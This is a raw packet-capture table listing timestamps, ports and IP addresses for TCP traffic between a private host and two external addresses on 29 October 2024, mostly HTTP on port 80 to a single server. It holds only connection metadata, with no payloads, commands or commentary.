Oct 29, 2024 18:00:15.987065077 CET	49976	443	192.168.2.7	188.114.96.3
Oct 29, 2024 18:00:15.987090111 CET	443	49976	188.114.96.3	192.168.2.7
Oct 29, 2024 18:00:15.987103939 CET	49976	443	192.168.2.7	188.114.96.3
Oct 29, 2024 18:00:15.987109900 CET	443	49976	188.114.96.3	192.168.2.7
Oct 29, 2024 18:00:15.993803978 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:15.999737978 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:15.999947071 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:16.000123978 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:16.006068945 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:16.921581030 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:16.921600103 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:16.921612978 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:16.921623945 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:16.921638012 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:16.921650887 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:16.921664000 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:16.921674013 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:16.921675920 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:16.921693087 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:16.921705008 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:16.921709061 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:16.921732903 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:16.921732903 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:16.921758890 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:16.927115917 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:16.927565098 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:16.927656889 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:17.083983898 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:17.084191084 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:17.084216118 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:17.084230900 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:17.084244967 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:17.084249973 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:17.084259987 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:17.084275007 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:17.084290981 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:17.084305048 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:17.084319115 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:17.084320068 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:17.084331989 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:17.084336042 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:17.084381104 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:17.202255964 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:17.202286959 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:17.202300072 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:17.202362061 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:17.202408075 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:17.202526093 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:17.202581882 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:17.202646971 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:17.202662945 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:17.202676058 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:17.202693939 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:17.202713966 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:17.203351021 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:17.203380108 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:17.203392029 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:17.203418016 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:17.249692917 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:17.249706030 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:17.249768019 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:17.322170973 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:17.322221994 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:17.322249889 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:17.322263002 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:17.322282076 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:17.322312117 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:17.322513103 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:17.322700977 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:17.322717905 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:17.322729111 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:17.322771072 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:17.322771072 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:17.322833061 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:17.322879076 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:17.323405981 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:17.323466063 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:17.323477030 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:17.323487997 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:17.323508978 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:17.323535919 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:17.410793066 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:17.410825014 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:17.410995960 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:17.441313982 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:17.441334963 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:17.441346884 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:17.441468954 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:17.441487074 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:17.441498041 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:17.441569090 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:17.441569090 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:17.441569090 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:17.441993952 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:17.442006111 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:17.442018986 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:17.442032099 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:17.442075014 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:17.442075014 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:17.442786932 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:17.442799091 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:17.442811012 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:17.442822933 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:17.442884922 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:17.442884922 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:17.443531036 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:17.528659105 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:17.528729916 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:17.528897047 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:17.560205936 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:17.560249090 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:17.560250044 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:17.560340881 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:17.560353994 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:17.560365915 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:17.560376883 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:17.560403109 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:17.560403109 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:17.560971022 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:17.560982943 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:17.561002970 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:17.561013937 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:17.561024904 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:17.561026096 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:17.561055899 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:17.561073065 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:17.561849117 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:17.561861992 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:17.561872005 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:17.561883926 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:17.561924934 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:17.561924934 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:17.648097038 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:17.648544073 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:17.648592949 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:17.679281950 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:17.679333925 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:17.679339886 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:17.679395914 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:17.679408073 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:17.679425955 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:17.679461956 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:17.679697037 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:17.679780006 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:17.679821014 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:17.679836988 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:17.679881096 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:17.679886103 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:17.679893970 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:17.680043936 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:17.680495977 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:17.680509090 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:17.680521011 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:17.680548906 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:17.680579901 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:17.680598974 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:17.680641890 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:17.681401014 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:17.681473970 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:17.794295073 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:17.794444084 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:17.794619083 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:17.800261021 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:17.800272942 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:17.800282955 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:17.800302029 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:17.800312996 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:17.800324917 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:17.800331116 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:17.800384045 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:17.800384045 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:17.800708055 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:17.800719976 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:17.800730944 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:17.800764084 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:17.800806999 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:17.800818920 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:17.800828934 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:17.800873995 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:17.800873995 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:17.801734924 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:17.801747084 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:17.801757097 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:17.801815033 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:17.886532068 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:17.886543989 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:17.886584997 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:17.917587996 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:17.917624950 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:17.917665005 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:17.917689085 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:17.917723894 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:17.917742014 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:17.917774916 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:17.917809010 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:17.917843103 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:17.917882919 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:17.917882919 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:17.918307066 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:17.918361902 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:17.918395996 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:17.918447018 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:17.918899059 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:17.918935061 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:17.919025898 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:17.919080973 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:17.919116974 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:17.919151068 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:17.919173956 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:17.919203997 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:17.919533014 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:17.919567108 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:17.919600010 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:17.919644117 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:18.006016016 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:18.006079912 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:18.006159067 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:18.036668062 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:18.036722898 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:18.036757946 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:18.036781073 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:18.036819935 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:18.036885977 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:18.036919117 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:18.036967993 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:18.036993027 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:18.037240982 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:18.037292957 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:18.037327051 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:18.037350893 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:18.037360907 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:18.037384033 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:18.037399054 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:18.037468910 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:18.037972927 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:18.038024902 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:18.038089037 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:18.038093090 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:18.038127899 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:18.038162947 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:18.038199902 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:18.038772106 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:18.038825989 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:18.038834095 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:18.038858891 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:18.038952112 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:18.124555111 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:18.124587059 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:18.124649048 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:18.155699968 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:18.155911922 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:18.155958891 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:18.156929016 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:18.156963110 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:18.156997919 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:18.157047033 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:18.157063007 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:18.157084942 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:18.157140017 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:18.157166958 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:18.157222033 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:18.157258034 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:18.157308102 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:18.157341957 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:18.157375097 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:18.157406092 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:18.157421112 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:18.157457113 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:18.157499075 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:18.157499075 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:18.158080101 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:18.158133984 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:18.158185959 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:18.158201933 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:18.158219099 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:18.158377886 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:18.158621073 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:18.158704996 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:18.158946991 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:18.244235039 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:18.244292021 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:18.244378090 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:18.275932074 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:18.276103973 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:18.276155949 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:18.276176929 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:18.276192904 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:18.276227951 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:18.276262999 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:18.276277065 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:18.276344061 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:18.276350975 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:18.276446104 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:18.276479959 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:18.276515007 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:18.276515961 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:18.276551008 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:18.276585102 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:18.276623964 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:18.276803970 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:18.277297974 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:18.277332067 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:18.277367115 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:18.277400017 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:18.277434111 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:18.277443886 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:18.277443886 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:18.277470112 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:18.277743101 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:18.365437031 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:18.365473986 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:18.365578890 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:18.394776106 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:18.394903898 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:18.394916058 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:18.394933939 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:18.394946098 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:18.394958973 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:18.394979000 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:18.395005941 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:18.395507097 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:18.395519972 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:18.395571947 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:18.395744085 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:18.395756006 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:18.395787001 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:18.395800114 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:18.395812035 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:18.395826101 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:18.395839930 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:18.395862103 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:18.395888090 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:18.396259069 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:18.396270990 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:18.396281958 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:18.396294117 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:18.396311045 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:18.396322966 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:18.396332979 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:18.396332979 CET	49977	80	192.168.2.7	185.215.113.16
